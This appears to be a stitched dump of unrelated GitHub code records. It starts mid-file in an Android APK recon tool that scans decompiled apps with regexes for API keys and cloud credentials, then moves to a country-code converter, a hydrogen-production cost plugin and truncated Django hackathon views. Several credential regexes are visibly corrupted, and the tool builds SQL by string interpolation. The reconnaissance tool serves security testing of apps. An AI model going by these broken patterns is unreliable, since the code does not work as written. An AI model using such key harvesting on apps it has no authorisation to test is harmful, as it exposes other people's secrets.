re.compile(r'\\b[0-9(+-[0-9A-Za-z_]{32}.apps.qooqleusercontent.com\\b'), \n\t\t\t\t'Stripe\tRestricted API Key': re.compile(r'\\bsk_live_\\(0-9a-zA-Z]{24}\\b'),\n\t\t\t\t'Square\tOAuth Secret': re.compile(r'\\bq0csp-[ 0-9A-Za-z-_]{43}\\b'),\n\t\t\t\t'Paypal/Braintree Access Token': re.compile(r'\\baccess_token,production$[0-9a-z]{161[0-9a,]{32}\\b'),\n\t\t\t\t'Amazon Marketing Services Auth Token': re.compile(r'\\bamzn.mws]{8}-[0-9a-f]{4}-10-9a-f1{4}-[0-9a,]{4}-[0-9a-f]{12}\\b'),\n\t\t\t\t'Twilio\tAPI Key': re.compile(r'\\b55[0-9a-fA-F]{32}\\b'),\n\t\t\t\t'Slack\tAPI Key': re.compile(r'\\bxox.-[0-9]{12}-[0-9]{12}-[0-9a-zA-Z]{24}\\b'),\n\t\t\t\t'AWS Access Key ID': re.compile(r'\\bAKIA[0-9A-Z]{16}\\b')\n\t\t\t\t}\n\n\n\tscan_lists = [glob.glob(root_dir + \"/**/*.smali\", recursive = True), glob.glob(root_dir + \"/*.xml\")]\n\tfor scan_list in scan_lists:\n\t\tfor file_path in scan_list:\n\t\t\twith open(file_path) as file:\n\t\t\t\tfor line in file:\n\t\t\t\t\tfor key in regex_dic:\n\t\t\t\t\t\tmatch =  regex_dic[key].findall(line)\n\t\t\t\t\t\tif match:\n\t\t\t\t\t\t\tapi = \"\".join(match)\n\t\t\t\t\t\t\tfile_name = file_path.rsplit('/', 1)[1]\n\t\t\t\t\t\t\tapi_val = str(key) + ' : ' + str(file_name) + ' ==> '+api\n\t\t\t\t\t\t\tapi_lists.append(api_val)\n\treturn set(api_lists)\n\n\n\ndef secret_scanner(hash_of_apk):\n\n\tapi_keys = []\n\n\tdbname = 'adhrit.db'\n\tdbconstatus = dbconnection(dbname)\n\tcreate_secrets_table(dbconstatus)\n\n\n\tpath = hash_of_apk\n\tos.chdir(path)\n\n\twith concurrent.futures.ProcessPoolExecutor() as executor:\n\t\tp1 = executor.submit(url_scanner)\n\t\tp2 = executor.submit(api_scanner)\n\t\tp3 = executor.submit(lib_pwn)\n\t\n\turls = p1.result()\n\tstrings_from_lib = p3.result()\n\tkey = p2.result()\n\tapi_keys.extend(key)\n\n\tprint(strings_from_lib)\n\t\n\tpath = os.getcwd() + '/..'\n\tos.chdir(path)\n\t\n\n\n\tallsecrets = (str(hash_of_apk), str(list(urls)), str(strings_from_lib), str(list(api_keys)))\n\taddtotable = insert_secretstable(dbconstatus, allsecrets)\n\n\n\t#--------------------------------\n\tdbname = \"adhrit.db\"\n\tdbconstatus = dbconnection(dbname)\n\tquery = f\"UPDATE StatusDB SET Secrets='complete' WHERE Hash='{hash_of_apk}';\"\n\taddedornot = insert_statustable(dbconstatus, query)\n\n\n","repo_name":"abhi-r3v0/Adhrit","sub_path":"adhrit/recons/secrets.py","file_name":"secrets.py","file_ext":"py","file_size_in_byte":5307,"program_lang":"python","lang":"en","doc_type":"code","stars":525,"dataset":"github-code","pt":"60"}
+{"seq_id":"22568517909","text":"import sys\nimport numpy as np\n\nfrom pycountry_convert import (\n    map_countries,\n    country_alpha2_to_country_name,\n    country_name_to_country_alpha2,\n    country_alpha3_to_country_alpha2,\n    country_alpha2_to_continent_code,\n    COUNTRY_NAME_FORMAT_UPPER\n)\n\n\ncontinent_dico = {\n    \"EU\": \"Europe\",\n    \"NA\": \"North America\",\n    \"OC\": \"Oceania\",\n    \"SA\": \"South America\",\n    \"AS\": \"Asia\",\n    \"AN\": \"Antarctica\",\n    \"AF\": \"Africa\"\n}\n\nalpha3_ico = {\n    \"UK\": \"GBR\",\n    \"ALG\": \"DZA\",\n    \"ASA\": \"ASM\",\n    \"ANG\": \"AGO\",\n    \"ANT\": \"ATG\",\n    \"ARU\": \"ABW\",\n    \"BAH\": \"BHS\",\n    \"BRN\": \"BHR\",\n    \"BAN\": \"BGD\",\n    \"BAR\": \"BRB\",\n    \"BIZ\": \"BLZ\",\n    \"BER\": \"BMU\",\n    \"BHU\": \"BTN\",\n    \"BOT\": \"BWA\",\n    \"IVB\": \"VGB\",\n    \"BRU\": \"BRN\",\n    \"BUL\": \"BGR\",\n    \"BUR\": \"BFA\",\n    \"CAM\": \"KHM\",\n    \"CAY\": \"CYM\",\n    \"CHA\": \"TCD\",\n    \"CHI\": \"CHL\",\n    \"CGO\": \"COG\",\n    \"CRC\": \"CRI\",\n    \"CRO\": \"HRV\",\n    \"DEN\": \"DNK\",\n    \"ESA\": \"SLV\",\n    \"GEQ\": \"GNQ\",\n    \"FIJ\": \"FJI\",\n    \"GAM\": \"GMB\",\n    \"GER\": \"DEU\",\n    \"GRE\": \"GRC\",\n    \"GRN\": \"GRD\",\n    \"GUA\": \"GTM\",\n    \"GUI\": \"GIN\",\n    \"GBS\": \"GNB\",\n    \"HAI\": \"HTI\",\n    \"HON\": \"HND\",\n    \"INA\": \"IDN\",\n    \"IRI\": \"IRN\",\n    \"KUW\": \"KWT\",\n    \"LAT\": \"LVA\",\n    \"LIB\": \"LBN\",\n    \"LES\": \"LSO\",\n    \"LBA\": \"LBY\",\n    \"MAD\": \"MDG\",\n    \"MAW\": \"MWI\",\n    \"MAS\": \"MYS\",\n    \"MTN\": \"MRT\",\n    \"MRI\": \"MUS\",\n    \"MON\": \"MCO\",\n    \"MGL\": \"MNG\",\n    \"MYA\": \"MMR\",\n    \"NEP\": \"NPL\",\n    \"NED\": \"NLD\",\n    \"NCA\": \"NIC\",\n    \"NIG\": \"NER\",\n    \"NGR\": \"NGA\",\n    \"OMA\": \"OMN\",\n    \"PLE\": \"PSE\",\n    \"PAR\": \"PRY\",\n    \"PHI\": \"PHL\",\n    \"POR\": \"PRT\",\n    \"PUR\": \"PRI\",\n    \"SKN\": \"KNA\",\n    \"VIN\": \"VCT\",\n    \"SAM\": \"WSM\",\n    \"KSA\": \"SAU\",\n    \"SEY\": \"SYC\",\n    \"SIN\": \"SGP\",\n    \"SLO\": \"SVN\",\n    \"SOL\": \"SLB\",\n    \"RSA\": \"ZAF\",\n    \"SRI\": \"LKA\",\n    \"SUD\": \"SDN\",\n    \"SUI\": \"CHE\",\n    \"TPE\": \"TWN\",\n    \"TAN\": \"TZA\",\n    \"TOG\": \"TGO\",\n    \"TGA\": \"TON\",\n    \"TRI\": \"TTO\",\n    \"UAE\": \"ARE\",\n    \"ISV\": \"VIR\",\n    \"URU\": \"URY\",\n    \"VAN\": \"VUT\",\n    \"VIE\": \"VNM\",\n    \"ZAM\": \"ZMB\",\n    \"ZIM\": \"ZWE\",\n}\n\ncountrynames = []\ncontinentcodes = []\n\nwith open(sys.argv[1]) as f:\n    for line in f:\n        line = line.strip()\n        if line == \"UNK\":\n            countrynames.append(\"Kosovo\")\n            continentcodes.append(continent_dico[\"EU\"])\n        else:\n            try:\n                countrynames.append(country_alpha2_to_country_name(\n                                    country_alpha3_to_country_alpha2(line)))\n            except:\n                line = alpha3_ico[line]\n                countrynames.append(country_alpha2_to_country_name(\n                                    country_alpha3_to_country_alpha2(line)))\n\n            continentcodes.append(continent_dico[country_alpha2_to_continent_code(\n                                  country_alpha3_to_country_alpha2(line))])\n\nnp.savetxt(\"continents.csv\", continentcodes, delimiter=',', fmt=\"%s\")\nnp.savetxt(\"countrynames.csv\", countrynames, delimiter=',', fmt=\"%s\")\n","repo_name":"hagax8/arabidopsis_viz","sub_path":"country_convert.py","file_name":"country_convert.py","file_ext":"py","file_size_in_byte":2964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15426885236","text":"import numpy as np\nfrom pyH2A.Utilities.Energy_Conversion import Energy, kWh, eV\nfrom pyH2A.Utilities.input_modification import insert, process_table\n\nclass Photocatalytic_Plugin:\n\t'''Simulating H2 production using photocatalytic water splitting in plastic baggie reactors.\n\n\tParameters\n\t----------\n\tTechnical Operating Parameters and Specifications > Design Output per Day > Value : float\n\t\tDesign output in (kg of H2)/day, ``process_table()`` is used.\n\tReactor Baggies > Cost Material Top ($/m2) > Value : float\n\t\tCost of baggie top material in $/m2.\n\tReactor Baggies > Cost Material Bottom ($/m2) > Value : float\n\t\tCost of baggie bottom material in $/m2.\n\tReactor Baggies > Number of ports > Value : int\n\t\tNumber of ports per baggie.\n\tReactor Baggies > Other Costs ($) > Value : float\n\t\tOther costs per baggie.\n\tReactor Baggies > Markup factor > Value : float\n\t\tMarkup factor for baggies, typically > 1.\n\tReactor Baggies > Length (m) > Value : float\n\t\tLength of single baggie in m.\n\tReactor Baggies > Width (m) > Value : float\n\t\tWidth of single baggie in m.\n\tReactor Baggies > Height (m) > Value : float\n\t\tHeight of reactor baggie in m. In this simulation this value determines the height\n\t\tof the water level and hence is an important parameter ultimately determining the\n\t\tlevel of light absorption and total catalyst amount.\n\tReactor Baggies > Additional land area (%) > Value : float\n\t\tAdditional land area required, percentage or value > 0. \n\t\tCalculated as: (1 + addtional land area) * baggie area.\n\tReactor Baggies > Lifetime (years) > Value : float\n\t\tLifetime of reactor baggies in years before replacement is required.\n\tCatalyst > Cost per kg ($) > Value : float\n\t\tCost per kg of catalyst.\n\tCatalyst > Concentration (g/L) > Value : float\n\t\tConcentration of catalyst in g/L.\n\tCatalyst > Lifetime (years) > Value : float\n\t\tLifetime of catalysts in year before replacement is required.\n\tCatalyst > Molar Weight (g/mol) > Value : float, optional\n\t\tIf the molar weight of the catalyst (in g/mol) is specified, homogeneous catalyst\n\t\tproperties (TON, TOF etc. are calculated).\n\tCatalyst > Molar Attenuation Coefficient (M^-1 cm^-1) > Value : float, optional\n\t\tIf the molar attenuation coefficient (in M^-1 cm^-1) is specified (along with the molar weight),\n\t\tabsorbance and the fraction of absorbed light are also calculated.\n\tSolar-to-Hydrogen Efficiency > STH (%) > Value : float\n\t\tSolar-to-hydrogen efficiency in percentage or as a value between 0 and 1.\n\tSolar Input > Mean solar input (kWh/m2/day) > Value : float\n\t\tMean solar input in kWh/m2/day, ``process_table()`` is used.\n\tSolar Input > Hourly (kWh/m2) > Value : ndarray\n\t\tHourly irradiation data.\n\n\tReturns\n\t-------\n\tNon-Depreciable Capital Costs > Land required (acres) > Value : float\n\t\tTotal land area required in acres.\n\tNon-Depreciable Capital Costs > Solar Collection Area (m2) > Value : float\n\t\tSolar colelction area in m2.\n\tPlanned Replacement > Planned Replacement Catalyst > Cost ($) : float\n\t\tTotal cost of completely replacing the catalyst once.\n\tPlanned Replacement > Planned Replacement Catalyst > Frequency (years) : float\n\t\tReplacement frequency of catalyst in years, identical to catalyst lifetime.\n\tPlanned Replacement > Planned Replacement Baggie > Cost ($) : float\n\t\tTotal cost of replacing all  baggies.\n\tPlanned Replacement > Planned Replacement Baggie > Frequency (years) : float\n\t\tReplacement frequency of baggies in year, identical to baggie lifetime.\n\tDirect Capital Costs - Reactor Baggies > Baggie Cost ($) > Value : float\n\t\tTotal baggie cost.\n\tDirect Capital Costs - Photocatalyst > Catalyst Cost ($) > Value : float\n\t\tTotal catalyst cost.\n\tReactor Baggies > Number > Value : int\n\t\tNumber of individual baggies required for design H2 production capacity.\n\tCatalyst > Properties > Value : dict\n\t\tDictionary containing detailed catalyst properties calculated from provided parameters.\n\t['Photocatalytic_Plugin'].catalyst_properties : dict\n\t\tAttribute containing catalyst properties dictionary.\n\tWater Volume > Volume (liters) > Value : float\n\t\tTotal water volume in liters.\n\t'''\n\n\tdef __init__(self, dcf, print_info):\n\t\tprocess_table(dcf.inp, 'Reactor Baggies', 'Value')\n\t\tprocess_table(dcf.inp, 'Solar Input', 'Value')\n\t\tprocess_table(dcf.inp, 'Solar-to-Hydrogen Efficiency', 'Value')\n\n\t\tself.hydrogen_production(dcf)\n\n\t\tprocess_table(dcf.inp, 'Technical Operating Parameters and Specifications', 'Value')\n\n\t\tself.baggie_cost(dcf)\n\n\t\tprocess_table(dcf.inp, 'Catalyst', 'Value')\n\n\t\tself.catalyst_cost(dcf)\n\t\tself.land_area(dcf)\n\n\t\tself.catalyst_activity(dcf)\n\n\t\tinsert(dcf, 'Non-Depreciable Capital Costs', 'Land required (acres)', 'Value', \n\t\t\t\tself.total_land_area_acres, __name__, print_info = print_info)\n\t\tinsert(dcf, 'Non-Depreciable Capital Costs', 'Solar Collection Area (m2)', 'Value', \n\t\t\t\tself.total_solar_collection_area, __name__, print_info = print_info)\n\t\t\n\t\tinsert(dcf, 'Planned Replacement', 'Planned Replacement Catalyst', 'Cost ($)', \n\t\t\t\tself.catalyst_cost, __name__, print_info = print_info)\n\t\tinsert(dcf, 'Planned Replacement', 'Planned Replacement Catalyst', 'Frequency (years)', \n\t\t\t\tdcf.inp['Catalyst']['Lifetime (years)']['Value'], __name__, print_info = print_info)\n\t\tinsert(dcf, 'Planned Replacement', 'Planned Replacement Baggie', 'Cost ($)', \n\t\t\t\tself.baggies_cost, __name__, print_info = print_info)\n\t\tinsert(dcf, 'Planned Replacement', 'Planned Replacement Baggie', 'Frequency (years)', \n\t\t\t\tdcf.inp['Reactor Baggies']['Lifetime (years)']['Value'], __name__, print_info = print_info)\n\n\t\tinsert(dcf, 'Direct Capital Costs - Reactor Baggies', 'Baggie Cost ($)', 'Value', \n\t\t\t\tself.baggies_cost, __name__, print_info = print_info)\n\t\tinsert(dcf, 'Direct Capital Costs - Photocatalyst', 'Catalyst Cost ($)', 'Value', \n\t\t\t\tself.catalyst_cost, __name__, print_info = print_info)\n\n\t\tinsert(dcf, 'Reactor Baggies', 'Number', 'Value', self.baggie_number, \n\t\t\t\t__name__, print_info = print_info)\n\t\tinsert(dcf, 'Catalyst', 'Properties', 'Value', self.catalyst_properties, \n\t\t\t\t__name__, print_info = print_info)\n\t\tinsert(dcf, 'Water Volume', 'Volume (liters)', 'Value', self.total_volume_liters, \n\t\t\t\t__name__, print_info = print_info)\n\n\tdef hydrogen_production(self, dcf):\n\t\t'''Calculation of hydrogen produced per day per baggie (in kg).\n\t\t'''\n\n\t\tbaggie = dcf.inp['Reactor Baggies']\n\n\t\tself.baggie_area = baggie['Length (m)']['Value'] * baggie['Width (m)']['Value']\n\t\tbaggie_insolation = Energy(self.baggie_area * dcf.inp['Solar Input']['Mean solar input (kWh/m2/day)']['Value'], kWh)\n\n\t\tmol_H2_per_baggie = (baggie_insolation.J * \n\t\t\t\t\tdcf.inp['Solar-to-Hydrogen Efficiency']['STH (%)']['Value']) / Energy(2*1.229, eV).Jmol\n\n\t\tself.kg_H2_per_baggie = (2 * mol_H2_per_baggie)/1000.\n\n\tdef catalyst_activity(self, dcf):\n\t\t'''Calculation of detailed catalyst properties based on provided parameters. If \"Molar Weight (g/mol)\"\n\t\tis specified in \"Catalyst\" table properties of a homogeneous catalyst are also calculated. Furthermore,\n\t\tif \"Molar Attenuation Coefficient (M^-1 cm^-1)\" is also provided, the light absorption properties \n\t\tare calculated.\n\t\t'''\n\n\t\tcatalyst_properties = {}\n\n\t\tpeak_hourly_irradiation_per_m2 = np.amax(dcf.inp['Solar Input']['Hourly (kWh/m2)']['Value'])\n\t\tpeak_hourly_irradiation_per_m2 = Energy(peak_hourly_irradiation_per_m2, kWh)\n\n\t\tpeak_mol_H2_per_m2_per_h = (peak_hourly_irradiation_per_m2.J * \n\t\t\t\t\t\t\t\tdcf.inp['Solar-to-Hydrogen Efficiency']['STH (%)']['Value']) / Energy(2 * 1.229, eV).Jmol\n\n\t\tmean_daily_mol_H2_per_m2 = (Energy(dcf.inp['Solar Input']['Mean solar input (kWh/m2/day)']['Value'], kWh).J *\n\t\t\t\t\t\t\t\t\tdcf.inp['Solar-to-Hydrogen Efficiency']['STH (%)']['Value']) / Energy(2 * 1.229, eV).Jmol\n\n\t\tkg_catalyst_per_m2 = ((dcf.inp['Reactor Baggies']['Height (m)']['Value'] * 1000) * \n\t\t\t\t\t\t\t\tdcf.inp['Catalyst']['Concentration (g/L)']['Value']/1000.)\n\n\t\tactivity_mmol_H2_per_h_per_g_catalyst = 1000 * peak_mol_H2_per_m2_per_h / (kg_catalyst_per_m2 * 1000)\n\n\t\tcatalyst_properties['Peak activity / mmol H2/h/g'] = activity_mmol_H2_per_h_per_g_catalyst\n\t\tcatalyst_properties['Peak H2 production / mol H2/m2/h'] = peak_mol_H2_per_m2_per_h\n\t\tcatalyst_properties['Catalyst Conc. / kg/m2'] = kg_catalyst_per_m2\n\t\tcatalyst_properties['Catalyst Conc. / g/L'] = dcf.inp['Catalyst']['Concentration (g/L)']['Value']\n\t\n\t\tif 'Molar Weight (g/mol)' in dcf.inp['Catalyst']:\n\n\t\t\tcatalyst_mol_per_L = ((dcf.inp['Catalyst']['Concentration (g/L)']['Value']) /\n\t\t\t\t\t\t\t\t   dcf.inp['Catalyst']['Molar Weight (g/mol)']['Value'])\n\n\t\t\tliter_per_m2 = dcf.inp['Reactor Baggies']['Height (m)']['Value'] * 1000\n\n\t\t\tmol_catalyst_per_m2 = liter_per_m2 * catalyst_mol_per_L\n\n\t\t\tpeak_TOF_hourly = peak_mol_H2_per_m2_per_h / mol_catalyst_per_m2\n\t\t\taverage_TOF_daily = mean_daily_mol_H2_per_m2 / mol_catalyst_per_m2\n\t\t\tTON = average_TOF_daily * dcf.inp['Catalyst']['Lifetime (years)']['Value'] * 365\n\n\t\t\tcatalyst_properties['Homogeneous'] = {}\n\t\t\tcatalyst_properties['Homogeneous']['Catalyst Conc. / mol/L'] = catalyst_mol_per_L\n\t\t\tcatalyst_properties['Homogeneous']['Catalyst Conc. / mol/m2'] = mol_catalyst_per_m2\n\t\t\tcatalyst_properties['Homogeneous']['Peak TOF / h^-1'] = peak_TOF_hourly\n\t\t\tcatalyst_properties['Homogeneous']['Mean daily TOF / d^-1'] = average_TOF_daily\n\t\t\tcatalyst_properties['Homogeneous']['TON'] = TON\n\n\t\t\tif 'Molar Attenuation Coefficient (M^-1 cm^-1)' in dcf.inp['Catalyst']:\n\t\t\t\tabsorbance = (catalyst_mol_per_L * (dcf.inp['Reactor Baggies']['Height (m)']['Value'] * 100) * \n\t\t\t\t\t\tdcf.inp['Catalyst']['Molar Attenuation Coefficient (M^-1 cm^-1)']['Value'])\n\n\t\t\t\tcatalyst_properties['Homogeneous']['Absorbance'] = absorbance\n\t\t\t\tcatalyst_properties['Homogeneous']['Absorbed light (%)'] = 100 * (1 - 10**(-absorbance))\n\n\t\t\tkg_H2_per_day_TOF_calculation = 1000 * self.catalyst_amount_kg / dcf.inp['Catalyst']['Molar Weight (g/mol)']['Value'] * average_TOF_daily * 2. / 1000.\n\t\t\tkg_H2_per_day_baggie_calculation = self.kg_H2_per_baggie * self.baggie_number\n\n\t\t\tassert abs(kg_H2_per_day_TOF_calculation - kg_H2_per_day_baggie_calculation) < 1e-6, 'Difference between baggie and TOF calculation for daily H2 production: TOF: {0}, Baggie: {0}.'.format(\n\t\t\t\t\tkg_H2_per_day_TOF_calculation, kg_H2_per_day_baggie_calculation)\n\n\t\tself.catalyst_properties = catalyst_properties\n\n\tdef baggie_cost(self, dcf):\n\t\t'''Calculation of cost per baggie, number of required baggies and total baggie cost.\n\t\t'''\n\n\t\tbaggie = dcf.inp['Reactor Baggies']\n\n\t\tmaterial_cost = self.baggie_area * (baggie['Cost Material Top ($/m2)']['Value'] + baggie['Cost Material Bottom ($/m2)']['Value'])\n\t\tport_cost = baggie['Number of ports']['Value'] * baggie['Cost of port ($)']['Value']\n\n\t\tcost_per_baggie = baggie['Markup factor']['Value'] * (material_cost + port_cost + baggie['Other Costs ($)']['Value'])\n\n\t\tself.baggie_number = np.ceil(dcf.inp['Technical Operating Parameters and Specifications']['Design Output per Day']['Value'] / self.kg_H2_per_baggie)\n\t\tself.baggies_cost = self.baggie_number * cost_per_baggie\n\n\tdef catalyst_cost(self, dcf):\n\t\t'''Calculation of individual baggie volume, catalyst amount per baggie, total catalyst amount \n\t\tand total catalyst cost.\n\t\t'''\n\n\t\tbaggie = dcf.inp['Reactor Baggies']\n\n\t\tbaggie_volume_m3 = baggie['Length (m)']['Value'] * baggie['Width (m)']['Value'] * baggie['Height (m)']['Value']\n\t\tbaggie_volume_liters = baggie_volume_m3 * 1000\n\n\t\tself.total_volume_liters = baggie_volume_liters * self.baggie_number\n\n\t\tself.catalyst_amount_per_baggie_kg = baggie_volume_liters * dcf.inp['Catalyst']['Concentration (g/L)']['Value']/1000.\n\t\tself.catalyst_amount_kg = self.catalyst_amount_per_baggie_kg * self.baggie_number\n\n\t\tself.catalyst_cost = self.catalyst_amount_kg * dcf.inp['Catalyst']['Cost per kg ($)']['Value']\n\n\tdef land_area(self, dcf):\n\t\t'''Calculation of total required land area and solar collection area.\n\t\t'''\n\n\t\tbaggie_land_area = self.baggie_number * self.baggie_area\n\t\ttotal_land_area = baggie_land_area * (1. + dcf.inp['Reactor Baggies']['Additional land area (%)']['Value'])\n\n\t\tself.total_land_area_acres = total_land_area * 0.000247105\n\t\tself.total_solar_collection_area = baggie_land_area\n","repo_name":"jschneidewind/pyH2A","sub_path":"src/pyH2A/Plugins/Photocatalytic_Plugin.py","file_name":"Photocatalytic_Plugin.py","file_ext":"py","file_size_in_byte":12055,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"60"}
+{"seq_id":"31976588305","text":"from django.db import reset_queries\nfrom rest_framework import generics, status, permissions, exceptions\nfrom rest_framework.response import Response\nfrom django.utils import timezone\nfrom django.utils.decorators import method_decorator\nfrom django.shortcuts import get_list_or_404\nfrom drf_yasg.utils import swagger_auto_schema\nfrom drf_yasg import openapi\nfrom .models import Hackathon, Team, Submission\nfrom .serializers import (\n    HackathonSerializer,\n    TeamDetailSerializer,\n    TeamCreateSerializer,\n    JoinTeamSerializer,\n    SubmissionsSerializer,\n    MemberExitSerializer,\n    SubmissionRUDSerializer,\n    HackathonDetailSerializer\n)\nfrom .permissions import (\n    HackathonPermissions,\n    AllowCompleteProfile,\n    IsLeaderOrSuperUser\n)\n\nquery_param = openapi.Parameter(\n    'user_specific', openapi.IN_QUERY, \n    description=\"Query parameter - Returns all teams of hackathons if user_specific value is not specified.\\nTo get team of a user pass user_specific=[y, Y, True]\",\n    type=openapi.TYPE_STRING, enum=['y', 'Y', 'True']\n)\n\n@method_decorator(name=\"get\", decorator=swagger_auto_schema(manual_parameters=[query_param]))\nclass HackathonTeamView(generics.ListCreateAPIView):\n    \"\"\"\n    get:\n    Returns a list of teams in a particular hackathon\n    post:\n    Creates a new team in a hackathon and return the team_id\n    \"\"\"\n    def get_permissions(self):\n        user_specific = self.request.query_params.get('user_specific', None)\n        if self.request.method == \"GET\":\n            if user_specific in ['y', 'Y', 'True']:\n                return [permissions.IsAuthenticated()]\n            else:\n                return [permissions.AllowAny()]\n        else:\n            return [permissions.IsAuthenticated(), AllowCompleteProfile()]\n\n    def get_serializer_class(self):\n        if self.request.method == 'GET':\n            return TeamDetailSerializer\n        else:\n            return TeamCreateSerializer\n\n    def get_serializer_context(self):\n        return {\n            'request': self.request,\n            'kwargs': self.kwargs\n        }\n\n    def get_queryset(self, **kwargs):\n        user_specific = self.request.query_params.get('user_specific', None)\n        if getattr(self, 'swagger_fake_view', False):\n            return None\n        try:\n            hackathon = Hackathon.objects.get(slug=self.kwargs['slug'])\n        except Hackathon.DoesNotExist:\n            raise exceptions.NotFound(\"Hackathon does not exist!\")\n        if user_specific in ['y', 'Y', 'True']:\n            queryset = Team.objects.filter(hackathon=hackathon, members=self.request.user).select_related('leader').prefetch_related('members')\n        else:\n            queryset = Team.objects.filter(hackathon=hackathon).select_related('leader').prefetch_related('members')\n        return queryset\n\n    def post(self, request, **kwargs):\n        serializer = self.get_serializer(data=request.data)\n        serializer.is_valid(raise_exception=True)\n        team = serializer.save()\n        data = {\"team_id\": team.team_id}\n        return Response(data, status=status.HTTP_201_CREATED)\n\n\nclass JoinTeamView(generics.GenericAPIView):\n    \"\"\"\n    patch:\n    Join a team with team_id and hackathon_id\n    \"\"\"\n    serializer_class = JoinTeamSerializer\n    permission_classes = [permissions.IsAuthenticated, AllowCompleteProfile]\n    def get_queryset(self):\n        if getattr(self, 'swagger_fake_view', False):\n            return None\n        pass\n\n    def get_serializer_context(self):\n        return {\n            'request': self.request,\n            'kwargs': self.kwargs\n        }\n\n    def patch(self, request, **kwargs):\n        serializer = self.get_serializer()\n        serializer.join_team()\n        return Response(\"Successfully jonied team!\", status=status.HTTP_200_OK)\n\n\nquery_param = openapi.Parameter(\n    'query', openapi.IN_QUERY, description=\"Query parameter - Returns all hackthons if not specified.\",\n    type=openapi.TYPE_STRING, enum=['completed', 'upcoming', 'ongoing'])\n\n\n@method_decorator(name=\"get\", decorator=swagger_auto_schema(manual_parameters=[query_param]))\nclass HackathonListCreateView(generics.ListCreateAPIView):\n    \"\"\"\n    get:\n    Returns list of Hackathons according to query parameter.\n\n    post:\n    Creates a new hackathon. Only admin can create a hackathon\n    \"\"\"\n    serializer_class = HackathonSerializer\n\n    def get_permissions(self):\n        if self.request.method == \"GET\":\n            return [permissions.AllowAny()]\n        else:\n            return [permissions.IsAdminUser()]\n\n    def get_queryset(self):\n        queryset = Hackathon.objects.all()\n        query = self.request.query_params.get('query', None)\n        current_date = timezone.now()\n        if query is not None:\n            if(query == 'ongoing'):\n                queryset = Hackathon.objects.filter(\n                    start__lt=current_date, end__gt=current_date)\n            elif(query == 'completed'):\n                queryset = Hackathon.objects.filter(\n                    start__lt=current_date, end__lt=current_date)\n            elif(query == 'upcoming'):\n                queryset = Hackathon.objects.filter(\n                    start__gt=current_date, end__gt=current_date)\n            else:\n                raise exceptions.ValidationError(\"Invalid query parameter!\")\n        return queryset\n\n\nclass HackathonsRUDView(generics.RetrieveUpdateDestroyAPIView):\n    \"\"\"\n    API used to read, update or delete the hackathon objects by their id.\n    Only the Super User has the permissions to update or delete hackathon objects.\n    \"\"\"\n\n    permission_classes = [HackathonPermissions]\n    serializer_class = HackathonDetailSerializer\n    lookup_field = 'slug'\n    queryset = Hackathon.objects.all()\n\n\nclass HackathonSubmissionView(generics.ListCreateAPIView):\n    \"\"\"\n    API to handle GET and POST for submission.\n    For GET method:\n    (i) Superuser can get all submissions (in any case).\n    (ii) For ongoing hackathon authenticated users will get submissions of their team.\n    (iii) For ongoing hackathon unauthenticated users will get ERROR 401 Unauthorized.\n    (iv) If hackathon is not ongoing then anyone(even unauthenticated) will get all the submissions.\n    For POST method:\n    Data that should be send is:\n    (i) team_id(joining code)\n    (ii) submission_url(url where code is hosted)\n    (iii) title of submission(generally title of project)\n    (iv) description of submission(generally description of project)\n    \"\"\"\n    serializer_class = SubmissionsSerializer\n    permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n\n    def get_queryset(self, **kwargs):\n        if getattr(self, 'swagger_fake_view', False):\n            return None\n        try:\n            hackathon = Hackathon.objects.get(slug=self.kwargs['slug'])\n        except Hackathon.DoesNotExist:\n            raise exceptions.NotFound(\"Hackathon does not exists!\")\n        else:\n            user = self.request.user\n            if hackathon.status == \"Ongoing\":\n                if user.is_authenticated:\n                    if user.is_superuser:\n                        return Submission.objects.filter(hackathon=hackathon)\n                    else:\n                        try:\n                            team = Team.objects.get(members=user, hackathon=hackathon)\n                        except Team.DoesNotExist:\n                            raise exceptions.NotFound(\"Team does not exists!\")\n                        else:\n                            return Submission.objects.filter(hackathon=hackathon, team=team)\n                else:\n                    raise exceptions.NotAuthenticated(detail=\"Authentication is required to get submissions of ongoing hackathon!\")\n            else:\n                return Submission.objects.filter(hackathon=hackathon)\n\n    def create(self, request, *args, **kwargs):\n        try:\n            hackathon = Hackathon.objects.get(slug=self.kwargs['slug'])\n            # The default score should remain zero\n            # even if user has passed any other value\n            if 'score' in request.data:\n                request.data['score'] = 0\n            if hackathon.status != \"Ongoing\":\n                return Response(\"Submissions can only be made to Ongoing Hackathons\", status=status.HTTP_400_BAD_REQUEST)\n            team = Team.objects.get(members=request.user, hackathon=hackathon)\n            if request.data['team'] != team.team_id:\n                return Response(\"You can make submission only for your team\", status=status.HTTP_400_BAD_REQUEST)\n            submission = Submission.objects.filter(\n                team=team, hackathon=hackathon)\n            if len(submission):\n                return Response(\"A Submission Already Exists!\", status=status.HTTP_400_BAD_REQUEST)\n            # As we are using id as pk for hackathon, and slug for routing\n            # so due to foreign key constraints we need to change request data to contain hackathon pk.\n            #Similar reason for team.\n            request.data['hackathon'] = hackathon.pk\n            request.data['team'] = team.pk\n\n        except Hackathon.DoesNotExist:\n            raise exceptions.NotFound(\"Hackathon does not exist!\")\n        except Team.DoesNotExist:\n            raise exceptions.NotFound(\"Team does not exist!\")\n        except KeyError as e:\n            return Response(\"Improper data found.\", status=status.HTTP_400_BAD_REQUEST)\n\n        serializer = self.get_serializer(data=request.data)\n        serializer.is_valid(raise_exception=True)\n        self.perform_create(serializer)\n        headers = self.get_success_headers(serializer.data)\n        return Response(serializer.data, status=status.HTTP_201_CREATED, headers=headers)\n\n\nclass TeamView(generics.RetrieveUpdateDestroyAPIView):\n    \"\"\"\n    API used to read, update or delete the Team objects by their team_id. Only the Super User has the permissions to delete Team objects.\n    \"\"\"\n\n    def get_permissions(self):\n        if self.request.method == \"GET\":\n            return [permissions.AllowAny()]\n        else:\n            return [permissions.IsAuthenticated(), IsLeaderOrSuperUser()]\n\n    serializer_class = TeamDetailSerializer\n    queryset = Team.objects.all().select_related('leader').prefetch_related('members')\n    lookup_field = 'team_id'\n\nclass MemberExitView(generics.GenericAPIView):\n    \"\"\"\n    Allows only leader to remove any team member.\n    Team members can exit but cannot remove others.\n    Leader cannot exit team. If leader wants to leave he has to delete the team.\n    \"\"\"\n\n    serializer_class = MemberExitSerializer\n    queryset = Team.objects.all()\n    lookup_field = 'team_id'\n    permission_classes = [permissions.IsAuthenticated]\n    def 